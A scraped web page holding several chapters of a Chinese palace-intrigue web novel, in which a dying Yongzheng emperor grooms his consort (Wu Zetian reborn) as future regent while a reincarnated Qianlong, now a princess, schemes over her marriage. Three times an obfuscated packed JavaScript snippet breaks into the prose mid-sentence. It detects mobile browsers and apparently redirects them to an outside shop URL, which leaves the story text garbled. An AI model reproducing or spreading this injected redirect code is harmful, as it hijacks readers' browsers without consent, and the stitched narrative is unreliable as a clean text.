“没有什么可是!皇阿玛把大清江山交到朕手上,朕不能辜负皇阿玛的期待!” “嗻。” 皇后率先行礼,带后妃们退下,阿哥们也依次行礼准备离开。 轮到弘宜行礼时,看着年幼的儿子,雍正心中突生一念,道:“皇贵妃和弘宜留下。” “皇上——” “朕有些话要私下交代你们。” “嗻。” …… 皇后等人离开后,雍正招呼两人到跟前。 “皇上?” “皇阿玛?” “你们——” 雍正看着两人,神色颇有犹豫,凤龙的话再次流过耳畔。 思来想去,他终于下定决心:“朕已经把弘宜的名字写进立储诏书。” “皇上,您这是——” “依常理,朕确实不该这么早就做出决定,但是朕的身体……朕的身体已经出了问题,朕必须早早为大清选定储君,以防不测,而年氏你……如果弘宜能早几年出生该多好……可惜……朕担心朕可能活不到弘宜长大成人的那天……朕……” “皇上会长命百岁!” “长命百岁?谈何容易!” 雍正露出嘲讽笑容。 凤龙既让他获得了天命钦定的满足也让他确切地意识到长生是不可能的事情,虽然内心深处依然本能地渴求长生惧怕死亡。 “若是有德君主能够长生,三皇五帝们早就与天地同寿了!” 嘲讽的同时,雍正伸手,抚摸女人年轻的脸颊:“朕现在还不能死,朕若有不测,宗亲们必会欺负你们孤儿寡母……就像多尔衮当年……虽然你有年羹尧可以作为朝堂的暂时依靠,可以年羹尧的性情……一旦大权在握,必有不臣之心,所以朕如今不仅要培养弘宜,也必须让你对朝堂的事情多少有些了解,免得被宗亲权臣们联手欺负……咳!咳!” “皇上,您的身体——” “朕刚才说的话,你都听清楚了?” 雍正厉色看着年氏。 女人咬唇,委屈地点了点头。 雍正露出欣慰的笑容,勉励道:“自信一点,不要让朕怀疑朕的选择。” 92.四格格不要和亲 太后薨逝不过半月,皇帝就因过度悲伤一病不起。 然而,皇帝身体不适,接下来的半年时间,朝堂大小事务却没有因此出现拖延荒废,处理效率更胜从前。 朝臣们因此窃窃私语,怀疑养心殿内有人越庖代徂,但此事乃是皇帝主动放权,进出养心殿的宗亲们全员默许,朝臣们即便心中有不满也不敢公然抱怨! 何况—— 藏在帘子后的人在处理国家大事这点上颇为能干,每一项决策都恰到好处。 “——就不知这一切究竟是福还是祸!” 处理完要紧事务的官员们聚在军机处的一角窃窃私语。 “是福不是祸,是祸躲不过,何况……” “何况什么?” “至今为止并没有任何灾祸的迹象。” 张廷玉严肃告诫众人:“皇上的决定是绝不可能有错!” “大人言之有理,皇上高瞻远瞩,怎么可能做出错误的决定。” “那怡亲王和廉亲王——” “他们也没有意见?” “他们该有什么意见?” 张廷玉瞪了眼提出异议的老臣,冷笑道:“他们是皇上的嫡亲兄弟,对皇上一向忠心耿耿没有私欲!” “确实是没有私欲……” 先前说话的老臣尴尬一笑,缩到一边。 这时,深得怡亲王喜爱的年希尧走进军机处:“诸位大人还在忙碌?” “年大人不也是整日都为国操劳吗?” 众人堆满笑容迎接年希尧,既是出于官场礼节,也是顾及他的外戚兼怡亲王心腹的双重身份。 “哪啦!哪里!” 年希尧表情勉强,走到张廷玉面前,将墨迹未干的奏章递给老臣:“张兄,这份折子——” “我瞧瞧。” 因为年羹尧的缘故,张廷玉不敢在年希尧面前摆架子,接过奏章看了一遍,皱眉道:“这句话最好改一下,皇上喜欢更婉转一点的词措。” “请大人斧正。” “应该的,应该的。” 张廷玉擦汗。 …… “臣张廷玉参见皇上!” “奴才叩见皇上!” 张廷玉和年希尧进入养心殿,依次行礼。 雍正此时刚刚吃过汤药,精神不错,戴上西洋眼镜,示意两人起来。 “谢皇上。” 两人依次起身,抬头看到雍正身旁站着皇贵妃和五阿哥,张廷玉于是向皇贵妃和五阿哥拱手问安。 “大人客气了。” 皇贵妃莞尔微笑,拉着五阿哥弘宜,禀告到:“皇上,奴才和弘宜先行告退。” “不用告退,朕允许你们留下。” “可是——” “朕的话敢不听?” “奴才不敢。” 皇贵妃低下头,态度颇为谦卑恭顺。 雍正欣慰地点点头,让张廷玉和年希尧依次禀告此来所为何事。 “嗻。” 张廷玉上前,将摊丁入亩当下进展以及推行期间涌现出的新问题一一向雍正禀明。 雍正早在正式推行摊丁入亩时便知道这一措施措施中会遭遇来自社会各界的阻力并在推行过程中出现大量棘手问题,因此,张廷玉的禀告内容虽让他头痛加剧,却也在预料中。 一个时辰的冗长问答后,君臣两人终于讨论出结果。 “……暂时先就这么处理吧。” “嗻。” 张廷玉记下雍正口谕,躬身退下。 张廷玉走后,年希尧上前,禀告圆明园修建进度以及手下造办处工匠们奉命模仿改良的各类西洋器械的情况。 得知大清工匠只用短短半个月时间就完全掌握西洋人的珍妮机的工作原理并造出更加高效且物美价廉的改良纺织机,雍正很是欣慰。 “如此一来,大清织造布匹的成本就能大幅降低,是一件大好事。” “皇上有所不知,改良过后的珍妮机——” “将在大清疆域内推行的是大清工匠改良造出的全新纺织机,怎么能继续使用西洋人的名字?!” 雍正打断年希尧的话,眯着眼睛想了半天,道:“新的纺织机叫年氏纺织机!” “谢皇上恩典。” 年希尧喜上眉梢,紧接着禀告道:“蒸汽机和马达的改良工作近来又取得大幅进展,用马达的马车的跑步效率比寻常马车的十倍不止。” “这正是亮工那边需要的,”雍正道,“西北苦寒,运输艰难,牛马消耗极大,若是能大批量造出使用马达的马车,西北军事开支必定大幅削减。” “这……” 年希尧感到艰难。 但他不敢反驳。 皇帝的命令是绝对的。 “奴才愿意一试。” “不是一试,是必须做到!大清江山需要更好的车马运送!” 雍正加重语气。 年希尧低头:“奴才愿赴汤蹈火在所不辞!” “这还差不多。” 雍正露出满意的笑容。 年希尧则将余下事务禀告完毕后行礼退出养心殿。 …… 年希尧走后,雍正抬头,看向方才一言不发的年世华:“这些事情,你怎么看?” “奴才觉得皇上手段无比高明。” “还有呢?” “奴才有幸旁听,是三辈子修来的福气。” “这些内容本该只能给储君学习,但是朕……朕身体不太好,弘宜又年纪太小,为了大清江山的安稳过度,朕不得不暂时打破规矩允许你待在朕身边……朕有意将你培养为第二个孝庄太后……而且是没有多尔衮和四大辅政轮流压制的孝庄太后……” “皇上——” 武曌做出感动姿态,连声道:“奴才一介深宫妇人,连孝庄太后的背影都不敢仰望,又怎么能……” “你对爱新觉罗家忠心耿耿,对非自己所生的孩子关爱有加,从小学习汉人知识,对西洋人的种种也颇有涉猎,还有年羹尧做兄长……若朕有所不测,唯有以你为太后才能最大可能地稳住朝堂,以免大清江山受到损失!” “皇上——” “朕此刻所做一切都是为了大清江山。” 雍正神色严峻。 “奴才——” “不要辜负朕对你的厚望。” “奴才遵旨。” …… …… 视线转到四格格爱新觉罗·弘历·妞妞这边。 还不能脱下孝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033005|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服的她此刻正一脸烦躁地踢宫道上的碎石子,跟在身后的宫女、太监们个个战战兢兢毛骨悚然。 [皇阿玛这是什么意思?为什么宁可培养年氏让她将来以太后身份擅权也不愿意给我一次展示的机会!] [可恶!可恶!朕不要将来被嫁给某个废物王公去蒙古吃沙子!朕要留在京城,朕要将富察一家的文武人才都收入囊中!还有海兰察、阿桂……一个都不能少!全都是朕的肱股之臣!] 【可你现在是格格。】 凤龙出现,搭上妞妞的肩膀。 【这就是封建社会的男人和女人,垃圾男人天生能得到的东西,优秀女人费尽心血都只能勉强拿到入场券!】 [你说得没错,如果是前世的朕甚至会觉得……但是现在……] 妞妞面容越发扭曲。 [朕必须尽快破局!] 【怎么破局?前世的你不仅一生都在享受身为男人的好处,也为了维持这份好处制定了更多稳固男性权力的法令条文,由此可见,你的内心深处一直都认同这些规章制度——】 [前世的朕是男人,男人维护男人的权力有问题吗?] 【可惜这一世的你是女人。】 [所以朕这一世将会想尽一切办法推翻男人的权力,因为朕必须成为皇帝!] 【说到底,你也只是为了你自己。】 [难道你现在做的事情就不是为了你自己?] 妞妞冲着凤龙坏笑。 [朕虽然没有读心术但能感受到你的内心深处充满对生命的轻蔑和不屑,在你眼里,世间一切都只是取乐工具,通过玩弄世界的命运获得掌控的快感打发永生的无聊……] 【你怎么知道我一定很无聊?】 凤龙勾唇一笑,翻身坐在红墙之上,摇晃着双腿。 【如果我是你,我会加快速度联合年氏,因为她很快就能以皇帝生母的身份在这个男权主导的时代得到权力,而你——需要准备许多许多才有可能触及你梦寐以求的权力……】 [你以为我不知道吗!] 妞妞瞪了凤龙一眼,随即露出笑容,走向皇贵妃的宫苑。 …… …… “皇贵妃额涅~” 妞妞在凤龙面前抱怨不断,来到皇贵妃年氏面前却立刻露出明媚可爱的笑容,殷勤主动地凑上前:“妞妞快到婚配的年纪,皇贵妃额涅可有帮妞妞物色良配?” “国丧还未结束,恐怕——” 武曌故意露出为难神色。 妞妞抓着她的胳膊撒娇道:“等出了国丧,妞妞也到了必须出嫁的年纪,必须早早相看才能觅得才德兼备的好额驸!” “妞妞竟然这么着急?” “因为……因为……因为妞妞真的好怕被送去蒙古和亲~” 妞妞一脸烦躁。 她不想重活一世不仅不能得到权力还沦为政治的牺牲品。 “可抚蒙是大清国策,连着几代都——” “让宗室其他人的女儿去蒙古!反正我不去!死也不去!” 妞妞板下脸。 要知道,雍正一生子嗣单薄,不仅儿子少,活到成年的女儿更少得可怜,齐妃所生长女去年又不幸病逝,妞妞如今已经是雍正膝下唯一的女儿。 93.选额驸 “蒙古苦寒,四格格不想去也情有可原,可是——” “可是什么?” 皇帝的本能让妞妞看出年氏的笑容中暗藏算计,追问道:“皇贵妃想对我说什么?” “男大当婚女大当嫁。格格也年纪不小——” “富察马齐家的几个儿子就很不错,家世好,长得好,对大清也是忠心耿耿。” 因为不确定比前世晚一年出生的傅恒还是不是原本的傅恒,妞妞索性把富察家年纪在十岁上下的男孩都列入额驸备选。 “以富察家的身份配皇家格格倒也不是不可以……” 武曌假装认真思考妞妞的建议,提议道:“我们可以想法子请皇上下旨,让富察家年纪在十岁至十五岁间的品貌端庄的男子入宫供四格格挑选。” “像选秀女一样选额驸?” 妞妞扬起嘴角,觉得年氏这个建议棒极了。 …… 选额驸的主意听起来有些荒唐,但出于对膝下唯一还活着的女儿的疼惜,雍正稍作思考就点头答应,命富察家年纪在十岁到十五岁间的品貌端庄的男子入宫,由四格格自行选择额驸人选。 马齐兄弟自是感激涕零,回家后立刻召集族中所有符合要求的子弟,让他们务必好好表现。 “此乃皇上天恩!不可辜负!” 不仅如此,马齐兄弟还暗示富察家的女人们借送儿子入宫参加额驸选秀的打好机会,把女儿们也带进宫中给皇后、皇贵妃相看—— “若是我们家女儿能得皇后、皇贵妃青睐,将来就不只是出个额驸!还能出个大清皇后!” “老爷言之有理。” 富察家的女人们连连点头,为入宫做准备。 …… …… 皇后乌拉那拉氏通过历史直播系统知道富察家人才济济且满门忠烈,因此,见到年纪轻轻已经颇有几分英雄姿态的富察家男孩时,皇后露出了欣慰的笑容,见到随富察家女眷入宫的富察家女孩时,皇后的笑容更是分外慈祥,转头对皇贵妃道:“富察家不愧是满清名门,男的英俊帅气,女的温婉端庄。” “皇后姐姐此言……莫非想选富察家的女儿给阿哥们做福晋?” “我确有此意,不知皇贵妃妹妹以为如何?” 皇后意味深长地笑了笑。 武曌垂眸:“妹妹自然处处听从皇后安排。” “那就——” 皇后抬手,命富察家的女儿们上前,观察她们的走路姿态、行礼动作,又问她们平日在家中都学些什么?会不会骑马射箭? 富察家的女儿们依次上前接受考验,其中表现最为端庄优秀的是名为容吟的十岁少女。 “小小年纪就如此沉稳有气度,简直是皇家媳妇的不二人选。” 皇后现场给出高评价,并赏赐白玉菩提手串:“这个女儿,皇家定下了。” “谢皇后恩典。” 富察家女眷齐声下跪谢恩,容吟也跟着行礼谢恩。 武曌注意到女孩眼角有阴影一闪而过,于是命嬷嬷将容吟带去偏殿,自己也随后起身告退。 皇后只当皇贵妃是有体己话要当面叮嘱未来媳妇,笑声应允。 …… 武曌跨进偏殿,在此等候的富察容吟立刻上前:“奴才容吟给皇贵妃娘娘行礼。” “不必多礼。” 武曌抬手,让富察容吟起身,又命宫女太监们暂时退下。 “嗻——” 宫人们齐齐退下。 富察容吟顿生不安:“皇贵妃娘娘——” “我看你刚才谢恩的时候眼神有些不对。” “娘娘……” 容吟低头。 武曌抬手,轻抚少女稚嫩的肩膀:“世人羡慕紫禁城内荣华富贵,金玉满堂,却不知这里规矩森严,步步惊心。” “娘娘的意思是……” “你若不想嫁进帝王家,我绝不勉强。” “可是——” “倘若你梦想‘愿得一心人,白首不分离’,皇宫确实不适合你。” “娘娘温柔,容吟感激涕零,可是容吟……容吟不知此生除了听从父母的安排还能做什么?容吟生来是富察家的女儿,本就应该……” 容吟的声音有几分哽咽,显然内心正痛苦焦灼。 武曌伸手,抬起她的下巴,看着女孩黑白分明的灵动眼眸,缓缓道:“你说你要遵从父母命令做富察家女儿该做的事情,可你的眼神告诉我,你的心渴望做一只自由飞翔的小鸟。” “飞翔……娘娘,容吟身为富察家的女儿,真的有机会飞翔吗?容吟方才已经……已经……” “不必担心皇后或是你父母反对,我会为你向他们解释清楚。” “——娘娘!” 容吟发出惊呼。 “这种事情……这种……事情……” “你以为呢?我也曾是与你一般年纪的女孩。” 武曌莞尔一笑,抱住容吟,抚摸少女柔软的头发:“今天的你是昨天的我,今天的我却未必会成为明天的你。你是个聪明的女孩,你知道我在说什么。” “可是这样……娘娘岂不就……” “不用担心我,我知道我在做什么。反倒是你……我希望你的眼睛永远保持今日这般明亮清澈……” 说完,武曌松开富察容吟:“这时间,四格格多半已经选好额驸。” “四格格她……” 富察容吟眼中再次闪过犹豫。 武曌于是握住她的手:“她和你一样身不由己,但她比你坚强,比你有手段,她会尽一切可能争取自己能争取到的最好的东西。” “原来如此……” 听完皇贵妃的话,富察容吟长舒一口气。 显然,她也是个有秘密的人。 …… …… 被四格格妞妞选为准额驸的是富察家此次带入宫中的男孩中年纪最小的那个。 妞妞选他不仅因为他是富察家的男孩中表现最优秀的,也因为她想借机延后成婚,等疑似傅恒的当下仅五六岁的那个男孩长大。 至于今日中选的富察家男孩—— [若他过几年长成文武兼备的少年郎,且这个世界的傅恒并非朕的傅恒,下嫁与他也无妨。] 反正她这一世是皇阿玛膝下唯一还活着的亲生女儿,可谓是想嫁哪个满清勋贵就嫁哪个满清勋贵! 只有她挑额驸,没有额驸敢挑她! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050053|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【改嫁次数太多小心惹来非议~】 凤龙在妞妞耳边暗搓搓。 【男人三妻四妾尚且会被诟病贪多嚼不烂,何况这个时代对女人有从一而终的贞洁要求。】 [所谓规矩从来是上面的人制定,给下面的人遵守,朕是定规矩的人,不是守规矩的人!] 【所以你——】 凤龙眼珠转动,露出坏笑。 【富察家的女儿不想嫁进皇家做五福晋。】 [哦?] 【她想留在富察家做个自由自在的虎妞儿。】 [什么?] 爱新觉罗·弘历·妞妞惊呆。 [为什么?因为她这一世想嫁的人依然是朕?但是这一世没有朕?] 【你真自恋。】 凤龙忍不住吐槽一句。 祂已透过时空之眼看到富察容吟的前世与今生,知道她为何做出这样的选择——并非想和弘历再续前缘,只是不想再落入宫廷樊笼,一生一世不得自由。 【鸟生来向往飞翔,把鸟关进笼子,它会憔悴死掉。】 [可是鸟一旦离开笼子就将不得不经历风霜雨雪、天敌追逐,随时有性命之忧!] 妞妞听出凤龙的弦外之音,尖锐反驳。 [上辈子,除了一生一世一双人的专一相守,朕几乎把男人能给女人的一切都给了她!她怎么可能对朕有不满!] 【所以她这一世坚决不进宫。】 凤龙狡黠一笑,消失在妞妞面前。 …… …… 改革逐渐走上正轨,雍正的身体却开始一天不如一天。 春光正好的时节,他只觉得太阳晃得眼睛疼,稍有些风吹又会浑身不适,骨头缝里渗出寒冷。 “朕的身体是怎么啦?为什么会变得这么脆弱?难道说……” 他想到某种可能,下意识地看向上空。 [皇额涅……你在看着朕!你心里恨着朕!恨朕没有好好对待你最喜欢的十四!恨朕把他赶去守陵!对不对!] 【她已经死了,听不见你的声音,只是依循着生前的记忆不断缠着你。】 凤龙出现,笑语盈盈。 【好在这份纠缠并不会持续太久,她的灵魂很脆弱,即便有恨作为养分也无法持久……至多再过半年就会彻底消散……从此灰飞烟灭……】 [什么!灰飞烟灭!] 雍正震惊。 [皇额涅竟然……竟然为了恨朕把自己弄到灰飞烟灭……这……这……] 【她本就……看这模样,我之前说的那些关于灵魂和转生的内容,多半是一个字都没听懂也一个字都没记住……】 凤龙嘀咕几句,决定顺着雍正的意思说下去。 【恨本就是比爱更加持久顽固的情感,因为恨的产生总伴随着遗憾和痛苦。当爱随着时间渐渐散去时,恨却因为意难平变得越来越浓郁……她恨你,非常非常的恨你……】 [哪怕闹到灵魂灰飞烟灭的地步?] 【是的,哪怕因此灰飞烟灭。】 凤龙垂眸,笑容竟有几分观音的慈悲。 雍正见状心头一沉,重重坐下。 [皇额涅,你……你是真的恨朕……你……] 94.风雨欲来 皇帝重病缠身,无法上朝,朝堂大小事务于是交怡亲王统领军机处商讨后呈养心殿等候皇帝朱批。 朝臣们闻到风雨将至的气息,纷纷私下聚会。 “皇上现在这个情况……该不会是……” “若皇上有所不测,谁能成为大清的摄政王和顾命大臣?” “摄政王的位置非怡亲王莫属,倒是顾命大臣这边……以皇上对五阿哥的喜爱……” “年大将军会成为顾命大臣之一?” “不错。” “那如此一来……” 朝臣们不约而同地沉默了。 年大将军本就权倾朝野,倘若成为顾命大臣与摄政怡亲王共同辅佐新君—— “听说皇贵妃也是个才华出众的女中诸葛呢。” …… …… 从养心殿出来已是傍晚时分,武曌登上辇车准备回宫,中途遇上皇后仪仗。 武曌果断停下辇车,向皇后行礼:“奴才拜见皇后娘娘——” 皇后闻言,也停了仪仗,走到武曌身旁,看了眼天边隐约可见的月亮,道:“皇贵妃妹妹现下可有空闲?” “皇后娘娘此话——” “我有些话想对你说。” “恭敬不如从命。” 武曌起身,跟在皇后乌拉那拉氏身旁。 皇后伸出手,握住她的手:“皇上的身体一天不如一天了。” “皇上日夜为国操劳,难免——” “我想问你一件事。” 皇后的面容无比严肃:“皇上可有准备立储诏书?” “皇后姐姐的意思是——” “祖训后宫不可干政,可倘若皇上有所不测,后宫的孤儿寡母们便要立刻担当国家重担。” 皇后直言不讳:“前朝的事情有怡亲王他们做主,短期内不必担心,可如果新君和摄政王关系不和睦或是摄政王有了其他的想法……我们这群妇道人家可怎么办!” “皇后姐姐过虑了。” 武曌装腔作势地安慰道:“皇上自有天命庇护,断不可能出现万一的情况,即便真有所不测,以皇上的英明神武也必定早就为大清准备了万全之策,姐姐和我们只需在后宫安静等待皇上的安排。” “可是……” 乌拉那拉氏长叹一声:“太宗皇帝(皇太极)天纵奇才,英年早逝以致世祖皇帝(顺治)常年受制于多尔衮。世祖皇帝牢记多尔衮之事,为圣祖皇帝留下四位顾命大臣,希望他们能相互牵制、相辅相成,结果有了鳌拜之祸、三藩之乱。” “皇后姐姐莫非担心皇上……” “凡事未雨绸缪,不可不防。” 乌拉那拉氏做出高深姿态,心中想的却是—— [我虽没有干政的心思,但既然做了大清皇后眼瞅着就能成为大清皇太后,可不能做个有名无实的太后,和年氏一起处处受制于怡亲王为首的宗亲朝臣势力。] [原来你想成为太后以后在慈宁宫中呼风唤雨为所欲为?] 武曌唇角泛起微微笑容。 从这一刻开始,乌拉那拉氏正式成为她的敌人。 【为什么?她明明只想在后宫呼风唤雨?】 凤龙明知故问地冲武曌眨眼。 武曌一边安抚皇后乌拉那拉氏,一边回答凤龙。 [人的欲望没有尽头,眼下她或许只想成为不被宗亲朝臣挟持的太后,可等到她取得和宗亲朝臣分庭抗礼的地位后,她将不会满足于只在后宫的方隅之地呼风唤雨。她会考虑如何坐在皇帝身后左右朝政,成为大清真正的皇帝。] 【就凭她?】 凤龙不屑地看了一眼乌拉那拉氏。 [她或许成事不足,但绝对能败事有余。] 武曌态度慎重。 毕竟,乌拉那拉氏现在是皇后,将来是母后皇太后,名义上总是压自己一头。 【以你的能力,让她消失可是易如反掌的事情。】 凤龙噘嘴,好奇武曌为何明知乌拉那拉氏可能成为自己的拦路石却迟迟没有对她下手。 [她死了,历史直播系统怎么办?] 武曌冷静提醒凤龙。 [那东西能让我提前知道历史的原定走向,助我发掘人才,还能实时提供同时代其他国家的情况……] 【原来是舍不得历史直播系统,我还以为你和她相处多年产生了感情。】 凤龙恍然大悟。 [感情?] 武曌眼中掠过轻微的失落。 [或许也有一点点的感情关系。] 【但终究利益高于一切?】 [你说呢?] …… 武曌一边和凤龙心语对话一边和皇后言语交谈,不知不觉中,两人走到了皇后中宫。 武曌停下脚步:“皇后姐姐安歇,妹妹——” “我想和你秉烛夜谈。” “可是……” “担心外间有闲言碎语?” “皇后姐姐,如今皇上病重,朝廷内外多有传言,若是我们此时突然……传扬出去难免惹来非议,认为我们……” “牝鸡司晨?” 皇后替皇贵妃说出她的担忧:“可这本就是祖宗规矩。” “皇后姐姐,常言道瓜田李下不可不防,何况宗亲大臣们本就……” “妹妹说得也有几分道理。” 皇后接受皇贵妃的担忧,与她分别。 武曌目送皇后消失在视野尽头,这才转身坐肩辇准备回宫。 然而—— 回宫的队伍走到中途竟被雍正跟前的太监拦住,传皇上口谕让皇贵妃立刻去养心殿。 闻言,跟在皇贵妃身边的多位嬷嬷、太监都露出不解神色:“这个时间……” “皇上想见谁就见谁,难道还要看时间?” 武曌抬手,示意队伍转头向养心殿方向行进。 “嗻——” …… …… “奴才给皇上——” “皇贵妃不必多礼,赶紧到朕身边来。” 雍正打断武曌的行礼,让她立刻坐到自己身边,本就偏瘦的脸庞如今干得好像一张皮包在骨头上,眼球浑浊眼白发黄,眼皮呈现出不健康的青紫色,唯独声音虚弱中依旧蕴含不容置疑的强势和威严:“……皇后与你在宫道上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080705|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些谈话,朕已有所耳闻。” “皇上——” “不用为皇后求情或是辩解,朕知道朕的身体正一天不如一天,随时可能驾鹤西去。朕也知道以当前朝堂局势,朕一旦驾崩,身处后宫的你们必然处境艰难,即便被尊为太后也难保不会因为宗亲朝臣们的联合逼迫让出太后本可享有的权力。” “能够伺候皇上已经是我们此生最大的福气,我们又怎么可能——” “真心话吗?” 雍正眯眼,眼神锐利如刀刃。 武曌游刃有余地迎上,强调道:“奴才对皇上忠心耿耿,绝无二心。” “可是朕……朕老得只剩下一把骨头,你却还年轻,宫里的女人们大半都还年轻……好在弘宜已经十一岁,即便朕有所不测,皇后和你也至多只辛苦五年,五年以后便可在慈宁宫中安享清闲……” “皇上,您一定不会有事……奴才愿意从今天开始为皇上日夜祈祷,折自己的寿换皇上身体安康……” “别说这种傻话!如果寿命真能从一个人身上折到另一个人身上,历代圣人岂不都能长生不死?” 雍正自嘲一笑,强调道:“你要格外保重自己的身体,因为你即将担起大清的重任。” “皇上——” “怡亲王性格温和谨慎,没有野心,是个可以完全依靠的人……廉亲王……此人手段圆滑,立场游移不定,能用就用,不能用就杀!张廷玉、鄂尔泰这些臣子……能力是有的,小心思也是十足的,必须想办法均衡……至于亮工……亮工此人文武全才,可惜脾气太傲不服管束,好在你本就擅长驯马,加上他想要得到更多的权力就必须扶持你们母子对抗宗亲势力和文官集团,短期内不成问题……长期……长期……” 雍正沉吟许久,声色俱厉道:“若是朕的儿子没有能力管制这些人,他就不配做大清皇帝!” “皇上,小心身体。” 武曌温情安抚,仿佛没意识到皇帝正在向她交代后事。 “朕的身体……朕的身体……皇后……差点忘记了皇后……” 雍正突然精神,抓住皇贵妃的手,温情又绝情地说道:“皇后的父亲费扬古是先帝倚重之人,可惜自费扬古去世,家中便无人再得重用,如此……即便她成为母后皇太后,也很难通过提拔族人对朝堂局面造成影响……至于其他种种,朕相信宫中有你、朝中有怡亲王和亮工,想要牵制乌拉那拉氏一族,易如反掌……朕如今唯一担心的是弘宜……他还没有出痘……万一……万一……” “皇上,天子上承天命,自有天意庇护,绝对不会发生任何意外。” “你说的这个天子是朕还是弘宜?” 雍正冷不防反问。 武曌脱口而出:“奴才心中的天子从来只有皇上。” “……你……你不愧是朕……想当年你嫁入雍王府,朕还曾经……如今看来……” 雍正低头,看着女人那因为年轻和精细养护而分外白皙纤细的手指,叹道:“红颜依旧,朕却快成枯骨了……” “皇上不要胡说,奴才不能没有皇上……” “有你这番话,朕就是现在闭眼也能安心了!” 95.大限将至 【雍正自知大限将至,索性抛开顾忌,在生命的最后几个月时间里用最激烈的态度强制推行新政,凡阻挠新政推行者不论尊卑一律严惩,最严重的时候,仅半个月时间就有超过一百名官员因此事被罢免!罚俸者数以千计! 如此大规模大范围的官员惩戒必然造成大量冤假错案,或是惩罚过重。事实上,现代清史研究学者早已通过对世宗以及敦肃皇太后执政期间刑部留下的各类刑案卷宗研究发现,世宗皇帝晚年惩罚的官员中有将近三分之一的受罚者所受惩罚远大于所犯过错,另有部分人更是所犯罪行与生平记录存在极大误差,可见其中另有隐情。 遗憾的是,以上数千人中仅有小部分在敦肃皇太后执政期间得到平反,并且这些人得到平反和他们的政治立场有极大的关联……也就是说,不论是雍正晚年的大清洗还是敦肃皇太后执政后的大平反,本质都是借政治事件进行的政治清洗……】 武曌无语地看着屏幕里长相尖嘴猴腮眼神透着油腻傲慢的男人口沫横飞地夸夸其谈。 [这些油腻历史主播是不是脑子有问题?任何在历史上留下记录的事情落到他们嘴里全成了旷古烁今的大阴谋大算计,黑心黑肺党同伐异的考量?有没有可能事情的真相单纯就是当事人犯了大错、执政者必须处罚他们?] 【不把鸡毛蒜皮的小事说成政治阴谋论、职场厚黑学,怎么显得他们的历史视频内容深邃有思想有内涵值得反复观看?】 凤龙不屑地评价道。 [也对……这些人虽然满嘴大道理,实际也就是一群用哗众取宠获得他人赞赏和金钱的未来版说书先生,若他们真能洞穿人性先机、掌握权力运行游戏规则,又怎么可能甘心做个靠听众赏钱过日子的说书先生?] 武曌抬手,关闭历史直播屏幕。 她看历史直播是为了知道未来发生了什么,不是为了听“说书先生们”自以为深邃奥妙其实幼稚可笑的政治分析。 [皇上如今危在旦夕,我也该准备准备……粉墨登场……] 【……年羹尧那边……要不要通知他立刻回京?】 凤龙兴致盎然的询问。 武曌想了一下,决定不招年羹尧回京。 [以我如今的身份,即便没有年羹尧在旁拱卫,也能母凭子贵成为圣母皇太后,反而是招年羹尧回京可能引发宗亲朝臣们的顾忌,怀疑我想用年羹尧的力量独霸朝政将他们从权力中心挤出去……] 【可是你原本的打算就是——】 [当徐徐图之。] 武曌嫣然一笑,笑容中含着必胜的骄傲。 …… …… 天气逐渐转暖,雍正在妃嫔和重臣们的簇拥下来到圆明园。 此时的圆明园占地面积虽还不到被后世称为“万园之园”的全盛期的三分之一,却也已经在大清工匠们连续数年的精心修筑中流露出睥睨全球的辉煌气象。 雍正坐在结合西洋工艺做成的轮椅上,看着以年希尧为首的内务府官员们严格按照自己的设想图一比一修建还原的精致风景,不禁叹道:“如此盛世美景,放眼全球也只有朕的泱泱大清能够修建!能够拥有!” 众臣闻言,连忙谄媚附和道:“皇上所言极是,我大清如今正是鼎盛,如红日中天,西洋那些蛮夷小国连给我们大清提鞋都不配。” “蛮夷小国锤破脑袋也就能弄出些上不得大雅之堂的东西,哪像我们大清,随便提出一件东西就能让他们享用一生!” “皇上英明神武,庇佑大清江山万年万万年!” “……” “闭嘴!” 过分的谄媚让雍正皱紧眉头,喝令众臣闭嘴,抬手示意怡亲王上前:“十三弟,你怎么看?” “皇上,大清当下确实如日中天非比寻常,但是臣弟以为……若因此低估了西洋小国,将来必定有大祸患。” “你担心西洋人的火木仓、蒸汽机以及纺织机会对大清造成影响?” 雍正有些不以为然:“朕已经让造办处研究西洋人的东西,仿制改良出更好的东西。” “可是皇上——臣弟愚见,我们从西洋船只处购得的未必是西洋人那边最新最好的……” 怡亲王忧心忡忡。 “你担心西洋人对大清有所隐瞒?” “皇上——” “对大清有所隐瞒这种事本就在大清的预料中,然而西洋距离大清有万里之遥,除非他们插上翅膀否则——” “万一他们真有朝一日能插上翅膀呢?” 怡亲王脱口而出。 雍正愣住,伺候在他身旁的皇后、皇贵妃以及皇贵妃身后的尹贵人也都露出诧异神色。 